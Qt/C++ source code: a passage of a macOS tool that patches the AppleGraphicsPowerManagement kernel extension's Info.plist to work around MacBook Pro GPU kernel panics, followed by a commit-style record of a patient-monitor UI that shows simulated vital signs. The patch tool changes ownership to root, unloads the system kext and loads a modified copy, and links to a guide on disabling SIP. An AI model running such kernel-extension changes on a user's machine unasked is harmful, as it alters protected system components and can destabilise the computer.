"https://www.youtube.com/watch?v=Wmhal4shmVo"; QDesktopServices::openUrl(QUrl(link)); } } return isInitOk; } QString MainWindow::getMBPModelVersion() { QString MBPModelVersion; QProcess process; //Execute commande line process.start("sysctl -n hw.model"); //Wait forever until finished process.waitForFinished(-1); //Get command line output MBPModelVersion = process.readAllStandardOutput(); //Remove carriage return ("\n") from string MBPModelVersion = MBPModelVersion.simplified(); return MBPModelVersion; } bool MainWindow::isSIPEnabled(void) { QString SIPStatus; QProcess process; //Execute commande line process.start("csrutil status"); //Wait forever until finished process.waitForFinished(-1); //Get command line output SIPStatus = process.readAllStandardOutput(); #ifndef WINDOWS if(SIPStatus.contains("disable")) { return false; } else { return true; } #else return false; #endif } //Parse system directory searching for AppleGraphicsPowerManagement.kext file bool MainWindow::searchKernelExtensionFile(QFile* kernelExtensionFile) { bool isFileFound; #ifdef TEST #ifdef MAC QDir kextPath("/Users/Julian/Documents/Dev/Projects/MBPMid2010_GPUFix/"); #endif #ifdef WINDOWS QDir kextPath("C:/Users/jpoidevin/Desktop/Documents Pro/03 - Dev Temp/MBPMid2010_GPUFix/MBPMid2010_GPUFix/"); #endif #endif #ifdef REAL QDir kextPath("/System/Library/Extensions/AppleGraphicsPowerManagement.kext/"); #endif QStringList listOfFiles; //Print Current app directory qDebug() << "Current Dir :" <<kextPath.absolutePath(); //Recursively search for "Info.plist" file in appPath QDirIterator it(kextPath.absolutePath(), QStringList() << "Info.plist", QDir::NoSymLinks | QDir::Files, QDirIterator::Subdirectories); //Check if the file was found if(it.hasNext()) { while(it.hasNext()) { it.next(); if (it.filePath().contains("AppleGraphicsPowerManagement")) { listOfFiles.push_back(it.filePath()); } } } //Print files found qDebug() << "Files found :"<< listOfFiles; if(listOfFiles.length() <= 1 && listOfFiles.length() > 0) { //qDebug() << "Moins de 1"; kernelExtensionFile->setFileName(listOfFiles.at(0)); isFileFound = true; } else { //qDebug () << "No file was found..."; isFileFound = false; } //Start search manually and only allow loading of the perfect named file (or kext) if(!isFileFound) { QMessageBox::information(this,"File not found","Any corresponding file was found, please search for the file"); //TODO : FileDialog won't let user browse into .kext files Contents QString dir = QFileDialog::getOpenFileName(this, tr("Open Info.plist file"), "/System/Library/Extensions/AppleGraphicsPowerManagement.kext/", "Property List Files (Info.plist)"); if(!(dir.isNull())) { //kernelExtensionFile->setFileName(dir); isFileFound = true; } else { isFileFound = false; } } return isFileFound; } bool MainWindow::isCompatibleVersion(QString modelVersion) { //Compare version with compatible versions of MBPs bool isCompatibleVersion; #ifdef MAC //TODO : Search in a list if several models compatible if(modelVersion == "MacBookPro6,2") { isCompatibleVersion = true; } else { isCompatibleVersion = false; } #endif #ifdef WINDOWS isCompatibleVersion = true; #endif return isCompatibleVersion; } void MainWindow::backupOldKernelExtension() { //Save File to current location adding .bak extension //qDebug() << "File Name" << kernelFile.fileName(); //Save original file in kernelExtension file folder QFile::copy(kernelFile.fileName(), kernelFile.fileName() + ".bak"); } void MainWindow::patchKernelExtensionFile(QFile *kernelFile) { //Modify Kernel Extension File to add fix explained here : //https://forums.macrumors.com/threads/gpu-kernel-panic-in-mid-2010-whats-the-best-fix.1890097/ //Use QSettings ? : http://doc.qt.io/qt-5/qsettings.html //https://openclassrooms.com/courses/enregistrer-vos-options-avec-qsettings //http://stackoverflow.com/questions/20240511/qsettings-mac-and-plist-files //https://forum.qt.io/topic/37247/qsettings-with-systemscope-not-saving-plist-file-in-os-x-mavericks/6 //TODO //backupOldKernelExtension(); #ifdef MAC #define PATCHED_FILE_PATH "/tmp/PatchedInfo.plist" #endif #ifdef WINDOWS #define PATCHED_FILE_PATH "C:/temp/PatchedInfo.plist" #endif //Remove file if already exists if (QFile::exists(PATCHED_FILE_PATH)) { QFile::remove(PATCHED_FILE_PATH); } //Copy file in tmp dir for patch QFile::copy(kernelFile->fileName(), PATCHED_FILE_PATH); QFile tmpFile(PATCHED_FILE_PATH); if(!tmpFile.open(QIODevice::ReadWrite | QIODevice::Text)) { qDebug() << "Could not open tmp File"; return; } //The QDomDocument class represents an XML document. QDomDocument xmlBOM; // Set data into the QDomDocument before processing xmlBOM.setContent(&tmpFile); /* Definition of struct and enum to automaticaly parse file*/ typedef enum { FindChild, FindSibling, NextSibling, FirstChild, FillArray }EActions; typedef struct{ QString nodeName; QVector<int> ArrayValues; EActions ActionToPerform; }nodeTree; QVector<nodeTree> confTree={ {"MacBookPro6,2" , {} , FindChild }, {"dict" , {} , NextSibling }, {"Vendor10deDevice0a29" , {} , FindChild }, {"BoostPState" , {} , FindSibling }, {"" , {2,2,2,2} , FillArray }, {"BoostTime" , {} , FindSibling }, {"" , {2,2,2,2} , FillArray }, {"Heuristic" , {} , FindSibling }, {"Threshold_High" , {} , FindSibling }, {"" , {0,0,100,200} , FillArray }, {"Threshold_High_v" , {} , FindSibling }, {"" , {0,0,98,100} , FillArray }, {"Threshold_Low" , {} , FindSibling }, {"" , {0,0,0,200} , FillArray }, {"Threshold_Low_v" , {} , FindSibling }, {"" , {0,0,4,200} , FillArray } }; QDomElement currentNode = xmlBOM.firstChildElement("plist"); QDomElement nextNode; for (int i = 0; i < confTree.size(); ++i) { //qDebug() << confTree.at(i).nodeName << confTree.at(i).ActionToPerform; switch (confTree.at(i).ActionToPerform){ case FindChild: nextNode = findElementChild(currentNode,confTree.at(i).nodeName); qDebug() << "FindChild - " << nextNode.tagName() << "|" << nextNode.text(); break; case FindSibling: nextNode = findElementSibling(currentNode,confTree.at(i).nodeName); qDebug() << "FindSibling - " << nextNode.tagName() << "|" << nextNode.text(); break; case NextSibling: nextNode = currentNode.nextSiblingElement(confTree.at(i).nodeName); qDebug() << "NextSibling - " << nextNode.tagName(); break; case FirstChild: nextNode = currentNode.firstChildElement(confTree.at(i).nodeName); qDebug() << "FirstChild - " << nextNode.tagName(); break; case FillArray: currentNode = currentNode.nextSiblingElement("array").firstChildElement("integer"); currentNode.firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[0])); currentNode.nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[1])); currentNode.nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[2])); currentNode.nextSibling().nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[3])); nextNode = currentNode.parentNode().toElement(); break; default: break; } currentNode = nextNode; } // Write changes to same file tmpFile.resize(0); QTextStream stream; stream.setDevice(&tmpFile); xmlBOM.save(stream, 4); tmpFile.close(); } int MainWindow::loadKernelExtension(QFile *kernelFile) { //Use Kext Utility or command lines utils to load the file in Kernel //kextload //Disable srcutils: https://derflounder.wordpress.com/2015/10/05/configuring-system-integrity-protection-without-booting-to-recovery-hd/ /* Copy real kext into tmp file */ QProcess process; QString command = "cp"; QStringList arguments; QDir kextDir(kernelFile->fileName()); kextDir.cdUp(); arguments << "-rf" << kextDir.absolutePath() << "/tmp/AppleGraphicsPowerManagement.kext"; //Execute commande line process.start(command,arguments); //Wait forever until finished process.waitForFinished(-1); /*** Copy patched file into kext ***/ command = "cp"; arguments.clear(); arguments << "-f" << PATCHED_FILE_PATH << "/tmp/AppleGraphicsPowerManagement.kext/Info.plist"; //Execute commande line process.start(command,arguments); //Wait forever until finished process.waitForFinished(-1); /*** Change permission of modified kext File ***/ //TODO find a way to execute process as root command = "chown"; arguments.clear(); arguments << "-R" << "-v" << "root:wheel" << "/tmp/AppleGraphicsPowerManagement.kext/"; //Execute commande line process.start(command,arguments); //Wait forever until finished process.waitForFinished(-1); qDebug() << process.readAllStandardError(); /*** Unload previous kext file ***/ //TODO find a way to execute process as root command = "kextunload"; arguments.clear(); arguments << "-v" << "/System/Library/Extensions/AppleGraphicsPowerManagement.kext"; //Execute commande line process.start(command,arguments); //Wait forever until finished process.waitForFinished(-1); qDebug() << process.readAllStandardError(); /*** Finally load kext file ***/ //TODO find a way to execute process as root command = "kextload"; arguments.clear(); arguments << "-v" << "/tmp/AppleGraphicsPowerManagement.kext"; //Execute commande line process.start(command,arguments); //Wait forever until finished process.waitForFinished(-1); qDebug() << process.readAllStandardError(); //See here : http://osxdaily.com/2015/06/24/load-unload-kernel-extensions-mac-os-x/ int Status = 0; return Status; } int MainWindow::restoreOldKernelExtension(QFile *kernelFile) { //Restore.bak extension int Status = 0; //QFile::copy(kernelFile->fileName() + ".bak", kernelFile->fileName()); return Status; } QDomElement MainWindow::findElementChild(QDomElement parent, const QString &textToFind) { for(QDomElement elem = parent.firstChildElement(); !elem.isNull(); elem = elem.nextSiblingElement()) { if(elem.text()==textToFind) return elem; QDomElement e = findElementChild(elem, textToFind); if(!e.isNull()) return e; } return QDomElement(); } QDomElement MainWindow::findElementSibling(QDomElement parent, const QString &textToFind) { for(QDomElement elem = parent.nextSiblingElement(); !elem.isNull(); elem = elem.nextSiblingElement()) { if(elem.text()==textToFind) return elem; QDomElement e = findElementChild(elem, textToFind); if(!e.isNull()) return e; } return QDomElement(); } <|endoftext|>
<commit_before>#include "mainwindow.h" #include "ui_mainwindow.h" #include "graphSettingsPopup.h" #include <QDateTime> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); #ifdef PMD_HAMP ui->pbtn_StartStop->setChecked(true); #endif printf("This is MainWindow\n"); qDebug("This is MainWindow via QDebug()\n"); m_alarmBtnNormalStyleSheet=ui->pbtn_ECG_Alarm->styleSheet(); m_alarmBtnRedStyleSheet= "*{border: 0px;background-image: url(:/images/icnBellRed.png);} *:checked{background-image:url();}"; m_graphWidget1 = new Widget(ui->graphECGWidget,this); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2 = new Widget(ui->graphABPWidget,this); m_graphWidget3 = new Widget(ui->graphPLETHWidget,this); #endif m_graphWidget1->initialized(GraphECG,3); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2->initialized(GraphABP,1); m_graphWidget3->initialized(GraphPLETH,2); #endif m_selectedGraphWidget = NULL; // Set time updateTimeString(); // Setup timer to update UI QTimer *timer = new QTimer(this); connect(timer, SIGNAL(timeout()), this, SLOT(updateTimeString())); timer->start(1000); m_timerAlarm =new QTimer (this); connect(m_timerAlarm, SIGNAL(timeout()), this, SLOT(animateAlarm())); m_timerAlarm->setInterval(500); m_timerAlarm->stop(); m_timerDataValues = new QTimer(this); #ifndef DISABLE_RIGHT_PANEL_NUMERIC_VALUES connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePulse())); connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updateABP())); connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePLETH())); m_timerDataValues->setInterval(3000); #ifndef PMD_HAMP m_timerDataValues->start(); #endif #endif m_HB_Simulate_Data << 70 << 68 << 71 << 69<< 67<< 68; m_ABP_Higher_Simulate_Data << 100 << 110 << 107 << 124<< 137<< 119; m_ABP_Lower_Simulate_Data << 73 << 88 << 77 << 82 << 91 << 79; m_PLETH_Simulate_Data << 93 << 96 << 90 << 97 << 95 << 99; m_cstatus=true; #ifdef PMD_MEHV m_nserver =new Server(this); m_cstatus=false; #endif #ifdef PMD_NUCLEUS m_dataSupplier=new DataSupplier(this); #endif #ifdef PMD_HAMP printf("Creating HAMPDataSupplier\n"); m_hampdataSupplier =new HAMPDataSupplier(this); m_cstatus=true; // Setup timer to update UI QTimer *hamptimer = new QTimer(this); connect(hamptimer, SIGNAL(timeout()), this, SLOT(takeScreenSnapshort())); hamptimer->start(3000); #endif m_isPauseAll=false; m_isStart=true; m_isAlarmSilent=false; m_btnSilentPressed=false; m_graphSettingsPop =new GraphSettingsPopup(this); m_graphSettingsPop->hide(); // Setup graph scrolling mode #ifdef ENABLE_GRAPH_SCROLLING on_pbtn_Scrolling_clicked(true); ui->pbtn_Scrolling->setChecked(true); #else on_pbtn_Scrolling_clicked(false); ui->pbtn_Scrolling->setChecked(false); #endif } MainWindow::~MainWindow() { delete ui; } void MainWindow::updatePulse() { QString value="0"; if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { value.setNum(this->getPulseValue()); } ui->labelPulse->setText(value); ui->labelPulse->repaint(); } void MainWindow::updateABP() { if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { ui->labelABP->setText(this->getABPValue()); } else ui->labelABP->setText("0/0"); ui->labelABP->repaint(); } void MainWindow::updatePLETH() { if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { ui->labelSPO2->setText(this->getPLETHValue()); } else ui->labelSPO2->setText("0"); ui->labelABP->repaint(); } void MainWindow::updateTimeString() { //get current date and time QDateTime dateTime = QDateTime::currentDateTime(); QString dateTimeString = dateTime.toString("hh:mm:ss AP"); ui->labelTime->setText(dateTimeString); ui->labelTime->repaint(); } int MainWindow::getPulseValue() { static int index=-1; if(index==this->m_HB_Simulate_Data.count()-1) index=0; else index++; return m_HB_Simulate_Data[index]; } QString MainWindow::getABPValue() { static int index=-1; if(index==this->m_ABP_Higher_Simulate_Data.count()-1) index=0; else index++; QString str=QString("%1/%2").arg(m_ABP_Higher_Simulate_Data[index]).arg(m_ABP_Lower_Simulate_Data[index]); return str; } QString MainWindow::getPLETHValue() { static int index=-1; if(index==this->m_PLETH_Simulate_Data.count()-1) index=0; else index++; QString str=QString("%1").arg(m_PLETH_Simulate_Data[index]); return str; } void MainWindow::on_pbtn_Silent_clicked() { m_btnSilentPressed=!m_btnSilentPressed; if(m_btnSilentPressed) { ui->pbtn_ECG_Alarm->setChecked(true); ui->pbtn_ABP_Alarm->setChecked(true); ui->pbtn_spo2_Alarm->setChecked(true); m_isAlarmSilent=true; // ui->pbtn_Silent->setStyleSheet("*{border: 0px;background-image: url(:/images/btn_pressed.png);}"); } else { ui->pbtn_ECG_Alarm->setChecked(false); ui->pbtn_ABP_Alarm->setChecked(false); ui->pbtn_spo2_Alarm->setChecked(false); m_isAlarmSilent=false; //ui->pbtn_Silent->setStyleSheet(""); } } void MainWindow::on_pbtn_StartStop_clicked(bool checked) { #ifdef PMD_HAMP if(checked) { m_isStart=false; m_timerDataValues->stop(); ui->pbtn_StartStop->setText("Start"); m_hampdataSupplier->startStopNucleus(m_isStart); m_cstatus=false; } else { m_isStart=true; ui->pbtn_StartStop->setText("Stop"); m_timerDataValues->start(); m_hampdataSupplier->startStopNucleus(m_isStart); m_cstatus=true; } fflush(stdout); #else if(checked) { m_isStart=false; this->m_graphWidget1->clearWidget(); #ifndef ONLY_SHOW_ECG_GRAPH this->m_graphWidget2->clearWidget(); this->m_graphWidget3->clearWidget(); #endif ui->pbtn_StartStop->setText("Start"); } else { m_isStart=true; ui->pbtn_StartStop->setText("Stop"); } #endif } void MainWindow::on_pbtn_PauseAll_clicked(bool checked) { if(!checked) { m_isPauseAll=false; ui->pbtn_PauseAll->setText("Pause All"); } else { m_isPauseAll=true; this->m_graphWidget1->clearWidget(); #ifndef ONLY_SHOW_ECG_GRAPH this->m_graphWidget2->clearWidget(); this->m_graphWidget3->clearWidget(); #endif ui->pbtn_PauseAll->setText("Start All"); } } void MainWindow::on_pbtn_Scrolling_clicked(bool checked) { (void)checked; #ifndef PMD_HAMP m_graphWidget1->setScrollingMode(checked); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2->setScrollingMode(checked); m_graphWidget3->setScrollingMode(checked); #endif #endif } void MainWindow::updateTimer() { #ifdef PMD_MEHV pm_data_struct pm={0,0,0,0}; dataReceived (&pm); #endif } void MainWindow::animateAlarm() { ui->pbtn_ABP_Alarm->toggle(); ui->pbtn_ECG_Alarm->toggle(); ui->pbtn_spo2_Alarm->toggle(); } void MainWindow::on_pbtn_ECG_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::on_pbtn_spo2_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::on_pbtn_ABP_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::dataReceived(pm_data_struct *current) { if (m_isPauseAll==false) { switch(m_graphWidget1->getGraphType()) { case GraphECG: m_graphWidget1->animate(current->ecgValue); break; case GraphABP: m_graphWidget1->animate(current->abpValue); break; case GraphPLETH: m_graphWidget1->animate(current->plethValue); break; case GraphCO2: //TODO break; } #ifndef ONLY_SHOW_ECG_GRAPH switch(m_graphWidget2->getGraphType()) { case GraphECG: m_graphWidget2->animate(current->ecgValue); break; case GraphABP: m_graphWidget2->animate(current->abpValue); break; case GraphPLETH: m_graphWidget2->animate(current->plethValue); break; case GraphCO2: //TODO break; } switch(m_graphWidget3->getGraphType()) { case GraphECG: m_graphWidget3->animate(current->ecgValue); break; case GraphABP: m_graphWidget3->animate(current->abpValue); break; case GraphPLETH: m_graphWidget3->animate(current->plethValue); break; case GraphCO2: //TODO break; } #endif } } #ifndef PMD_NUCLEUS void MainWindow::connectionStatus(bool status) { QDateTime dateTime = QDateTime::currentDateTime(); QString dateTimeString = dateTime.toString("hh:mmap"); m_cstatus=status; if(status) { ui->labelBulletText->setText("External system connected at "+dateTimeString); ui->labelBulletText->repaint(); ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_ABP_Alarm->setDisabled(false); ui->pbtn_ECG_Alarm->setDisabled(false); ui->pbtn_spo2_Alarm->setDisabled(false); m_timerAlarm->stop(); } else { ui->labelBulletText->setText("External system disconnected at "+dateTimeString); ui->labelBulletText->repaint(); ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_ABP_Alarm->setDisabled(true); ui->pbtn_ECG_Alarm->setDisabled(true); ui->pbtn_spo2_Alarm->setDisabled(true); m_timerAlarm->start(); updatePLETH(); updateABP(); updatePulse(); } } #endif void MainWindow::launchGraphMenuPopup(Widget *widget) { if(m_graphSettingsPop->m_isVisible==false) { m_selectedGraphWidget=widget; switch(m_selectedGraphWidget->getGraphType()) { case GraphECG: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphECG); break; case GraphABP: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphABP); break; case GraphPLETH: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphPLETH); break; case GraphCO2: //TODO break; } m_graphSettingsPop->show(); } } void MainWindow::onGraphMenuPopupOk() { if(m_selectedGraphWidget->getGraphWaveSize()!=m_graphSettingsPop->m_graphWaveSize) { switch(m_selectedGraphWidget->getGraphType()) { case GraphECG: m_selectedGraphWidget->initialized(GraphECG,m_graphSettingsPop->m_graphWaveSize); m_selectedGraphWidget->repaint(); break; case GraphABP: m_selectedGraphWidget->initialized(GraphABP,m_graphSettingsPop->m_graphWaveSize); m_selectedGraphWidget->repaint(); break; case GraphPLETH: m_selectedGraphWidget->initialized(GraphPLETH,m_graphSettingsPop->m_graphWaveSize); m_selectedGraphWidget->repaint(); break; case GraphCO2: //TODO break; } } m_graphSettingsPop->hide(); m_graphSettingsPop->close(); m_graphSettingsPop->m_isVisible=false; m_selectedGraphWidget=NULL; } void MainWindow::onGraphMenuPopupCancel() { m_graphSettingsPop->hide(); m_graphSettingsPop->close(); m_graphSettingsPop->m_isVisible=false; m_selectedGraphWidget=NULL; } #ifdef PMD_HAMP void MainWindow::takeScreenSnapshort() { QRect r= this->rect(); QPixmap pixmap=this->grab(r); QString fileName = m_hampdataSupplier->getScreenShortPath(); if(pixmap.isNull()==false) pixmap.save(fileName,"PNG"); else printf("\npixmap is NULL"); } #endif <commit_msg>test4<commit_after>#include "mainwindow.h" #include "ui_mainwindow.h" #include "graphSettingsPopup.h" #include <QDateTime> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); #ifdef PMD_HAMP ui->pbtn_StartStop->setChecked(true); #endif printf("This is MainWindow\n"); qDebug("This is MainWindow via QDebug()\n"); m_alarmBtnNormalStyleSheet=ui->pbtn_ECG_Alarm->styleSheet(); m_alarmBtnRedStyleSheet= "*{border: 0px;background-image: url(:/images/icnBellRed.png);} *:checked{background-image:url();}"; m_graphWidget1 = new Widget(ui->graphECGWidget,this); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2 = new Widget(ui->graphABPWidget,this); m_graphWidget3 = new Widget(ui->graphPLETHWidget,this); #endif m_graphWidget1->initialized(GraphECG,3); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2->initialized(GraphABP,1); m_graphWidget3->initialized(GraphPLETH,2); #endif m_selectedGraphWidget = NULL; // Set time updateTimeString(); // Setup timer to update UI QTimer *timer = new QTimer(this); connect(timer, SIGNAL(timeout()), this, SLOT(updateTimeString())); timer->start(1000); m_timerAlarm =new QTimer (this); connect(m_timerAlarm, SIGNAL(timeout()), this, SLOT(animateAlarm())); m_timerAlarm->setInterval(500); m_timerAlarm->stop(); m_timerDataValues = new QTimer(this); #ifndef DISABLE_RIGHT_PANEL_NUMERIC_VALUES connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePulse())); connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updateABP())); connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePLETH())); m_timerDataValues->setInterval(3000); #ifndef PMD_HAMP m_timerDataValues->start(); #endif #endif m_HB_Simulate_Data << 70 << 68 << 71 << 69<< 67<< 68; m_ABP_Higher_Simulate_Data << 100 << 110 << 107 << 124<< 137<< 119; m_ABP_Lower_Simulate_Data << 73 << 88 << 77 << 82 << 91 << 79; m_PLETH_Simulate_Data << 93 << 96 << 90 << 97 << 95 << 99; m_cstatus=true; #ifdef PMD_MEHV m_nserver =new Server(this); m_cstatus=false; #endif #ifdef PMD_NUCLEUS m_dataSupplier=new DataSupplier(this); #endif #ifdef PMD_HAMP printf("Creating HAMPDataSupplier\n"); m_hampdataSupplier =new HAMPDataSupplier(this); m_cstatus=true; // Setup timer to update UI QTimer *hamptimer = new QTimer(this); connect(hamptimer, SIGNAL(timeout()), this, SLOT(takeScreenSnapshort())); hamptimer->start(3000); #endif m_isPauseAll=false; m_isStart=true; m_isAlarmSilent=false; m_btnSilentPressed=false; m_graphSettingsPop =new GraphSettingsPopup(this); m_graphSettingsPop->hide(); // Setup graph scrolling mode #ifdef ENABLE_GRAPH_SCROLLING on_pbtn_Scrolling_clicked(true); ui->pbtn_Scrolling->setChecked(true); #else on_pbtn_Scrolling_clicked(false); ui->pbtn_Scrolling->setChecked(false); #endif } MainWindow::~MainWindow() { delete ui; } void MainWindow::updatePulse() { QString value="0"; if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { value.setNum(this->getPulseValue()); } ui->labelPulse->setText(value); ui->labelPulse->repaint(); } void MainWindow::updateABP() { if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { ui->labelABP->setText(this->getABPValue()); } else ui->labelABP->setText("0/0"); ui->labelABP->repaint(); } void MainWindow::updatePLETH() { if(m_isPauseAll==true || m_isStart==false) return; if(m_cstatus) { ui->labelSPO2->setText(this->getPLETHValue()); } else ui->labelSPO2->setText("0"); ui->labelABP->repaint(); } void MainWindow::updateTimeString() { //get current date and time QDateTime dateTime = QDateTime::currentDateTime(); QString dateTimeString = dateTime.toString("hh:mm:ss AP"); ui->labelTime->setText(dateTimeString); ui->labelTime->repaint(); } int MainWindow::getPulseValue() { static int index=-1; if(index==this->m_HB_Simulate_Data.count()-1) index=0; else index++; return m_HB_Simulate_Data[index]; } QString MainWindow::getABPValue() { static int index=-1; if(index==this->m_ABP_Higher_Simulate_Data.count()-1) index=0; else index++; QString str=QString("%1/%2").arg(m_ABP_Higher_Simulate_Data[index]).arg(m_ABP_Lower_Simulate_Data[index]); return str; } QString MainWindow::getPLETHValue() { static int index=-1; if(index==this->m_PLETH_Simulate_Data.count()-1) index=0; else index++; QString str=QString("%1").arg(m_PLETH_Simulate_Data[index]); return str; } void MainWindow::on_pbtn_Silent_clicked() { m_btnSilentPressed=!m_btnSilentPressed; if(m_btnSilentPressed) { ui->pbtn_ECG_Alarm->setChecked(true); ui->pbtn_ABP_Alarm->setChecked(true); ui->pbtn_spo2_Alarm->setChecked(true); m_isAlarmSilent=true; // ui->pbtn_Silent->setStyleSheet("*{border: 0px;background-image: url(:/images/btn_pressed.png);}"); } else { ui->pbtn_ECG_Alarm->setChecked(false); ui->pbtn_ABP_Alarm->setChecked(false); ui->pbtn_spo2_Alarm->setChecked(false); m_isAlarmSilent=false; //ui->pbtn_Silent->setStyleSheet(""); } } void MainWindow::on_pbtn_StartStop_clicked(bool checked) { #ifdef PMD_HAMP if(checked) { m_isStart=false; m_timerDataValues->stop(); ui->pbtn_StartStop->setText("Start"); m_hampdataSupplier->startStopNucleus(m_isStart); m_cstatus=false; } else { m_isStart=true; ui->pbtn_StartStop->setText("Stop"); m_timerDataValues->start(); m_hampdataSupplier->startStopNucleus(m_isStart); m_cstatus=true; } fflush(stdout); #else if(checked) { m_isStart=false; this->m_graphWidget1->clearWidget(); #ifndef ONLY_SHOW_ECG_GRAPH this->m_graphWidget2->clearWidget(); this->m_graphWidget3->clearWidget(); #endif ui->pbtn_StartStop->setText("Start"); } else { m_isStart=true; ui->pbtn_StartStop->setText("Stop"); } #endif } void MainWindow::on_pbtn_PauseAll_clicked(bool checked) { if(!checked) { m_isPauseAll=false; ui->pbtn_PauseAll->setText("Pause All"); } else { m_isPauseAll=true; this->m_graphWidget1->clearWidget(); #ifndef ONLY_SHOW_ECG_GRAPH this->m_graphWidget2->clearWidget(); this->m_graphWidget3->clearWidget(); #endif ui->pbtn_PauseAll->setText("Start All"); } } void MainWindow::on_pbtn_Scrolling_clicked(bool checked) { (void)checked; #ifndef PMD_HAMP m_graphWidget1->setScrollingMode(checked); #ifndef ONLY_SHOW_ECG_GRAPH m_graphWidget2->setScrollingMode(checked); m_graphWidget3->setScrollingMode(checked); #endif #endif } void MainWindow::updateTimer() { #ifdef PMD_MEHV pm_data_struct pm={0,0,0,0}; dataReceived (&pm); #endif } void MainWindow::animateAlarm() { ui->pbtn_ABP_Alarm->toggle(); ui->pbtn_ECG_Alarm->toggle(); ui->pbtn_spo2_Alarm->toggle(); } void MainWindow::on_pbtn_ECG_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::on_pbtn_spo2_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::on_pbtn_ABP_Alarm_clicked(bool checked) { (void)checked; } void MainWindow::dataReceived(pm_data_struct *current) { if (m_isPauseAll==false) { switch(m_graphWidget1->getGraphType()) { case GraphECG: m_graphWidget1->animate(current->ecgValue); break; case GraphABP: m_graphWidget1->animate(current->abpValue); break; case GraphPLETH: m_graphWidget1->animate(current->plethValue); break; case GraphCO2: //TODO break; } #ifndef ONLY_SHOW_ECG_GRAPH switch(m_graphWidget2->getGraphType()) { case GraphECG: m_graphWidget2->animate(current->ecgValue); break; case GraphABP: m_graphWidget2->animate(current->abpValue); break; case GraphPLETH: m_graphWidget2->animate(current->plethValue); break; case GraphCO2: //TODO break; } switch(m_graphWidget3->getGraphType()) { case GraphECG: m_graphWidget3->animate(current->ecgValue); break; case GraphABP: m_graphWidget3->animate(current->abpValue); break; case GraphPLETH: m_graphWidget3->animate(current->plethValue); break; case GraphCO2: //TODO break; } #endif } } #ifndef PMD_NUCLEUS void MainWindow::connectionStatus(bool status) { QDateTime dateTime = QDateTime::currentDateTime(); QString dateTimeString = dateTime.toString("hh:mmap"); m_cstatus=status; if(status) { ui->labelBulletText->setText("External system connected at "+dateTimeString); ui->labelBulletText->repaint(); ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet); ui->pbtn_ABP_Alarm->setDisabled(false); ui->pbtn_ECG_Alarm->setDisabled(false); ui->pbtn_spo2_Alarm->setDisabled(false); m_timerAlarm->stop(); } else { ui->labelBulletText->setText("External system disconnected at "+dateTimeString); ui->labelBulletText->repaint(); ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet); ui->pbtn_ABP_Alarm->setDisabled(true); ui->pbtn_ECG_Alarm->setDisabled(true); ui->pbtn_spo2_Alarm->setDisabled(true); m_timerAlarm->start(); updatePLETH(); updateABP(); updatePulse(); } } #endif void MainWindow::launchGraphMenuPopup(Widget *widget) { if(m_graphSettingsPop->m_isVisible==false) { m_selectedGraphWidget=widget; switch(m_selectedGraphWidget->getGraphType()) { case GraphECG: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphECG); break; case GraphABP: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphABP); break; case GraphPLETH: m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphPLETH); break; case GraphCO2: //TODO break; } m_graphSettingsPop->show(); } } void MainWindow::onGraphMenuPopupOk() { if(m_selectedGraphWidget->getGraphWaveSize()!=m_graphSettingsPop->m_graphWaveSize) { switch(m_selectedGraphWidget->getGraphType()) { case GraphECG: m_selectedGraphWidget->initialized(GraphECG,m_graphSettingsPop->m_graphWaveSize); m_selectedGraphWidget->repaint(); break; case GraphABP: m_selectedGraphWidget->initialized(GraphABP,m_graphSettingsPop->m_graphWaveSize); 